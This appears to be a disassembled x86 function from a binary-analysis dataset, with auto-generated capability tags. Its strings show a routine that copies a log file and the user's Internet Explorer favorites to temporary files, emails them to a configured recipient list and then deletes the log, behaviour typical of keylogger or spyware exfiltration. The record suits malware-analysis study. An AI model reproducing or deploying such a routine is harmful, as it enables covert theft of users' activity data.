Function at 0x4065e7
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
mov eax, 0x408937
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x4c0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x406614
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406614
xor eax, eax
jmp 0x4069fa
lea ecx, [ebp - 0x14]
call fcn.00405266
and dword [ebp - 4], 0
lea ecx, [ebp - 0xbc]
call fcn.004077df
push dword [0x410e90]
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 1
call fcn.00407823
push dword [0x410e8c]
lea ecx, [ebp - 0xbc]
push 2
call fcn.004078d9
push 0x410640
push 1
lea ecx, [ebp - 0xbc]
call fcn.004078d9
mov dl, byte [0x410e6c]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bf]
mov byte [ebp - 0x1c0], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x3c7]
mov byte [ebp - 0x3c8], dl
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebx, ebx
stosb byte es:[edi], al
je 0x406738
lea eax, [ebp - 0x3c8]
push eax
push 0x104
call esi
call sub.MSVCRT.dll_rand
push 0x64
cdq
pop ecx
idiv ecx
push edx
call sub.MSVCRT.dll_rand
push 0x64
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x3c8]
push edx
push eax
lea eax, [ebp - 0x1c0]
push str._s_d__d
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0x1c0]
push eax
push ebx
call fcn.00404716
add esp, 0x1c
test eax, eax
je 0x40671f
lea eax, [ebp - 0x1c0]
lea ecx, [ebp - 0xbc]
push eax
push 8
call fcn.004078d9
push str.LogFile.log
push 9
lea ecx, [ebp - 0xbc]
call fcn.004078d9
jmp 0x406738
push str.Unable_to_open_logfile_while_sending_e_mail
push str.ERROR
call dword [0x410ea4]
and byte [ebp - 0x1c0], 0
pop ecx
pop ecx
mov al, byte [0x410e6c]
push 0x40
mov byte [ebp - 0x2c4], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x410e74]
test al, 0x20
je 0x4067c2
test al, 0x40
je 0x4067c2
lea eax, [ebp - 0x4cc]
push eax
push 0x104
call esi
lea eax, [ebp - 0x2c4]
push eax
push 0
lea eax, [ebp - 0x4cc]
push str.ief_
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x2c4]
lea ecx, [ebp - 0x14]
push eax
call fcn.004054b4
test eax, eax
je 0x4067c2
lea eax, [ebp - 0x2c4]
lea ecx, [ebp - 0xbc]
push eax
push 0xa
call fcn.004078d9
push str.IE_Favorites.html
push 0xb
lea ecx, [ebp - 0xbc]
call fcn.004078d9
push dword [ebp + 0x10]
lea ecx, [ebp - 0xbc]
push 4
call fcn.004078d9
push dword [ebp + 0x18]
lea ecx, [ebp - 0xbc]
push 5
call fcn.004078d9
push dword [ebp + 0x18]
lea ecx, [ebp - 0x14]
push dword [ebp + 0x14]
call fcn.004055cd
lea ecx, [ebp - 0x14]
call fcn.0040562f
push eax
push 6
lea ecx, [ebp - 0xbc]
call fcn.00407938
mov eax, dword [0x410e94]
xor esi, esi
mov dword [ebp + 0x10], esi
push 0x3b
push eax
call sub.MSVCRT.dll__mbschr
pop ecx
inc eax
pop ecx
je 0x406826
inc esi
cmp byte [eax], 0
mov dword [ebp + 0x10], esi
jne 0x406810
mov eax, esi
shl eax, 2
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, dword [0x410e94]
mov edi, eax
test esi, esi
pop ecx
mov dword [ebp + 0x14], edi
jle 0x406883
mov dword [ebp + 0x18], esi
push 0x3b
push ebx
call sub.MSVCRT.dll__mbschr
mov esi, eax
push 0x104
inc esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov dword [edi], eax
sub ecx, ebx
dec ecx
push ecx
push ebx
push eax
call sub.MSVCRT.dll__mbsnbcpy
mov ecx, dword [edi]
mov eax, esi
sub eax, ebx
add esp, 0x18
add edi, 4
mov ebx, esi
and byte [eax + ecx - 1], 0
dec dword [ebp + 0x18]
jne 0x406844
mov esi, dword [ebp + 0x10]
lea ecx, [ebp - 0x28]
call fcn.00407b2b
and dword [ebp + 0x18], 0
mov byte [ebp - 4], 2
test esi, esi
jle 0x4068e3
mov edi, dword [ebp + 0x14]
push dword [edi]
lea ecx, [ebp - 0xbc]
push 0
call fcn.004078d9
lea eax, [ebp - 0xbc]
push 1
push eax
lea ecx, [ebp - 0x28]
call fcn.00407b81
test eax, eax
mov dword [ebp + 0x10], eax
je 0x4068cc
inc dword [ebp + 0x18]
add edi, 4
cmp dword [ebp + 0x18], esi
jl 0x40689a
test esi, esi
jle 0x4068e3
mov edi, dword [ebp + 0x14]
mov ebx, esi
push dword [edi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add edi, 4
dec ebx
pop ecx
jne 0x4068d5
mov al, byte [0x410e74]
test al, 0x20
je 0x4068fd
test al, 0x40
je 0x4068fd
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [ebp - 0x1c0], 0
je 0x406940
mov al, byte [ebp + 0xb]
sub esp, 0x10
mov edi, esp
mov dword [ebp + 0x14], esp
push 0
mov ecx, edi
mov byte [edi], al
call fcn.004047cd
lea eax, [ebp - 0x1c0]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x1c0]
push eax
mov ecx, edi
call fcn.00404e51
call fcn.0040462e
add esp, 0x10
cmp dword [ebp + 0x18], esi
jne 0x40696b
xor esi, esi
cmp dword [ebp + 0xc], esi
je 0x4069d1
push dword [ebp + 0x10]
lea ecx, [ebp - 0x28]
call fcn.0040819a
push eax
push str.MAILERROR
call dword [0x410ea4]
pop ecx
pop ecx
jmp 0x4069d1
test byte [0x410e74], 4
je 0x4069ce
cmp dword [ebp + 8], 0
je 0x4069ce
mov al, byte [ebp + 0xb]
sub esp, 0x10
mov esi, esp
mov dword [ebp + 0x18], esp
push 0
mov ecx, esi
mov byte [esi], al
call fcn.004047cd
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov ecx, esi
push dword [ebp + 8]
call fcn.00404e51
call fcn.0040462e
add esp, 0x10
test eax, eax
jne 0x4069bc
push str.Delete_logfile_failed
push str.ERROR
jmp 0x4069c6
push str.Log_file_sent_by_e_mail
push str.E_MAIL
call dword [0x410ea4]
pop ecx
pop ecx
push 1
pop esi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00407b5f
and byte [ebp - 4], 0
lea ecx, [ebp - 0xbc]
call fcn.00407818
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040528f
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret